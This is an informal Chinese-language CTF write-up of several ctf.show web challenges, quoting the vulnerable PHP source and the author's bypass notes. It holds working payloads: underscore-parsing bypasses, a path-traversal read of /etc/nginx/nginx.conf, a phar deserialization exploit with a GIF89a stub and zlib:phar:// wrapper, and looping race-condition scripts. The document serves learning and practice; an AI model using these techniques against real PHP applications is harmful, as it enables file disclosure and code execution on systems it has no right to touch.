veryphp

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}

Input correct parameters

PHP的字符串解析特性Bypass

https://www.freebuf.com/articles/web/213359.html

image-20210123174847874

PHP函数call_user_func和call_user_func_array详解:

https://www.jianshu.com/p/07c3f1e4c309

<?php 

function func($a, $b){
echo $a."\r\n";
echo $b."\r\n";
}

call_user_func('func', 1, 2);//第一个是函数名,后面是参数列表

call_user_func_array("func", array(3, 4));//区别于call_user_func只是参数传递的方式不同
1
2
3
4

c呀

正则看不懂!!!😫😫😫

也不能直接读phpinfo

过滤了字母!!!tnl

学一下:

image-20210124182808405

image-20210124183032812

image-20210124184106736

payload:

shaw[root=-a9<b>aaaadadadaa>>>>abcp@Rsd
Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

exp:

<?php

for($i=10000; $i<=99999; $i++){
#echo $i;
if(md5("shaw".($i)."root")=="166b47a5cb1ca2431a0edfcef200684f"){
echo $i;
break;
}

}

// echo md5(10000);
// echo "\n";
// if(md5(10000)=="b7a782741f667201b54880c925faec4b")
// echo 1;
// else
// echo 2;


// echo "\n";
// echo md5("shaw".(10000)."root");

21475

payload

my[ans=qwq::oao&shaw[root=222&ans=21475

注意最后是在bp里做!

不然有点问题!老是解析不了下划线!

call_user_func() 方法使用

https://blog.csdn.net/u011323949/article/details/103890276?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control

https://blog.csdn.net/qq_34629975/article/details/84581479?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.control

测试

<?php

class qwq
{
function pp(){
die("Access Denied!");
}
static function oao(){
echo 1111;
}
}
extract($_POST);
var_dump($_POST);

if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
1. 直接回调非静态方法

call_user_func('my_callback_function');

2.类静态方法回调

all_user_func('MyClass::myCallbackMethod');

3.对象方法回调

call_user_func(array($obj, 'myCallbackMethod'));

大佬不说我都看没见是静态方法!其实看见了也没用!我脑子里没东西!🙄

学习!!!👾

spaceman

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?> wrong password

用url编码绕过下划线的时候发现!

浏览器发送的user%5Fname=111&pass%5Fword=111

user%255Fname=111&pass%255Fword=111

数据会先url编码一次!

等传到服务器里再解码!

那我们就用bp放包!避免传到服务器里的数出错!

image-20210123172331084

好奇怪!我浏览器是正常的_

可是传到bp里还是两次url编码!

payload

user%5Fname=adadad&pass%5Fword=ctfshowvip

虎山行

https://xz.aliyun.com/t/6968

image-20210124151756662

感觉他这个cms这里有任意文件读取漏洞!

发现任意文件读取!

但是flag找不到!!!

这个题不能任意文件读取这麽简单!

又看了看好像可以上传webshell!

看了半天!😶不知道咋搞!感觉写到.dat里的shell没用呀!是不是后面还有包含!

/etc/nginx/nginx.conf

http://e2394048-d5e9-43e9-9156-b2f00959c562.chall.ctf.show/mc-admin/page-edit.php?file=../../../../../../../etc/nginx/nginx.conf

第一关phar反序列化

日了:

ctfshowsecretfilehh居然在网址目录下!!!

当时没想到!!!

当时:

image-20210125100815400

这样读!发现读不出来!!!😫😫😫

http://0a53f2d2-be2a-4f23-a76a-7e8af7c1b556.chall.ctf.show/ctfshowsecretfilehh/
<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>

但是直接读里面的waf.php有不行!估计没有highlight_file(FILE);

还是用任意文件读取的点来读取!!!

file=../../../../../../../var/www/html/ctfshowsecretfilehh/waf.php

waf.php

<?php
function waf($file){
if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
die("姿势太简单啦,来一点骚的?!");
}else{
return $file;
}
}

image-20210125103939799

看了大佬们的东西学到了!!!

url/mc-admin/post.php有个文件上传的地方,点击跳转到url/upload.php,那么上传的部分就ok啦,接下来看waf,从正则当中可以看见,从传入的参数头开始匹配,不能出现里面的非法字符,那么尝试绕过即可

这里采用zlib绕过,当然

exp

<?php
class Ctfshow{

}
$phar = new Phar("b.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt','test');
$o = new Ctfshow();
$phar->setMetadata($o);
$phar->stopBuffering();
?>

先看上传文件的格式!!!

e7d629e0

随便找了一个
5c1c1127

5bf3e031

72834e32
http://0a53f2d2-be2a-4f23-a76a-7e8af7c1b556.chall.ctf.show/ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/e7d629e0.gif

第二关条件竞争

flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory

<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
public $username='Firebasky';
public $password;
function __destruct() {
if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
system('cp /ctfshow* /var/www/html/flag.txt');
}
}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

注意他那里有一个弱比较!!!

md5(time())后转转整型!大部分都是0;

而且整型序列化没有长度!!!

啊偶!!!找到bug直接

image-20210125120016679

一直条件竞争就可以了!!!

payload

O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}

image-20210125120653826

image-20210125120718208

exp

<?php
class Unser {
public $username='ctfshow';
public $password;
function __construct(){
$this->password=(int)md5(time());
}
}

$a = new Unser();
$c = serialize($a);
echo $c;
echo md5(time());

poc1

#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import hashlib
import requests
import time

def MD5(str):
hl = hashlib.md5()
hl.update(str.encode())
return hl.hexdigest()

if __name__ == '__main__':
url = 'http://f8c8d351-88ec-499f-a04f-392794b4d088.chall.ctf.show/ctfshowgetflaghhhh/'
while True:
x = MD5(str(int(time.time())))
# print x
params = {
'unser':'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"'+x+'";}'
}
res = requests.get(url=url,params=params)
#print res.url

md5的长度,默认为128bit,也就是128个0和1的二进制串。 … 所以将二进制转成了16进制,每4个bit表示一个16进制, 所以128/4 = 32 换成16进制表示后,为32位了。

所以上面的脚本!最后传进去一个32位的16进制字符串!因为是弱比较!只会比较字符串里数字部分!那肯定一样了!py还是不会写!但是要看懂!

image-20210125123529522

php里时间直接默认整数!

poc2

再看大佬写的php脚本!:

#Author: Y4tacker
<?php
class Unser {
public $username='ctfshow';
public $password;
function __construct(){
$this->password=(int)md5(time());
}
}


function curl_get($url){

$header = array(
'Accept: application/json',
);
$curl = curl_init();
//设置抓取的url
curl_setopt($curl, CURLOPT_URL, $url);
//设置头文件的信息作为数据流输出
curl_setopt($curl, CURLOPT_HEADER, 0);
// 超时设置,以秒为单位
curl_setopt($curl, CURLOPT_TIMEOUT, 1);

// 超时设置,以毫秒为单位
// curl_setopt($curl, CURLOPT_TIMEOUT_MS, 500);

// 设置请求头
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
//设置获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
//执行命令
$data = curl_exec($curl);

// 显示错误信息
// if (curl_error($curl)) {
// print "Error: " . curl_error($curl);
// } else {
// // 打印返回的内容
// var_dump($data);
// curl_close($curl);
// }
}





while(true){
$a = new Unser();
$c = serialize($a);
echo $c."\n";
$url = 'http://ad952e8f-5593-40ca-a1ce-f2aebbd01257.chall.ctf.show/hsxctfshowsecretgetflagl/?unser='.$c;
echo $url."\n";
curl_get($url);
}

PHP 利用 curl 发送 post get del put patch 请求

#Author: Y4tacker
<?php
class Unser {
public $username='ctfshow';
public $password;
function __construct(){
$this->password=(int)md5(time());
}
}


function geturl($url){
$headerArray =array("Content-type:application/json;","Accept:application/json");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
$output = json_decode($output,true);
return $output;
}



while(true){
$a = new Unser();
$c = serialize($a);
echo $c."\n";
$url = 'http://f8c8d351-88ec-499f-a04f-392794b4d088.chall.ctf.show/ctfshowgetflaghhhh/?unser='.$c;
echo $url."\n";
geturl($url);
}

服了好像直接

http://ad952e8f-5593-40ca-a1ce-f2aebbd01257.chall.ctf.show/hsxctfshowsecretgetflagl
后面不加上/不行!
哦哦!
不加上/表示hsxctfshowsecretgetflagl这个文件!可是没有这个文件!!!
还是tcl!!!
所以加上
http://ad952e8f-5593-40ca-a1ce-f2aebbd01257.chall.ctf.show/hsxctfshowsecretgetflagl/
脚本就正常运行了!
因为他会默认找到该目录下的index.php
知道了!!
tnl😶

有手就行

上来密码直接看懵!!!🙄

还是不能怂!!!

当时有点怂!没事路就没看了!!!

因为当时看到最后以为是ok加密!!没想到全是base64

当时以为只有一部分是base64!

tcl

image-20210125151753841

把/?file=scan换成

/?file=flag

image-20210125151615581

后面逆向!!!

还是去玩web把!!!tcl

官方wp

https://www.cnblogs.com/erR0Ratao/p/14322319.html#%E6%9C%89%E6%89%8B%E5%B0%B1%E8%A1%8C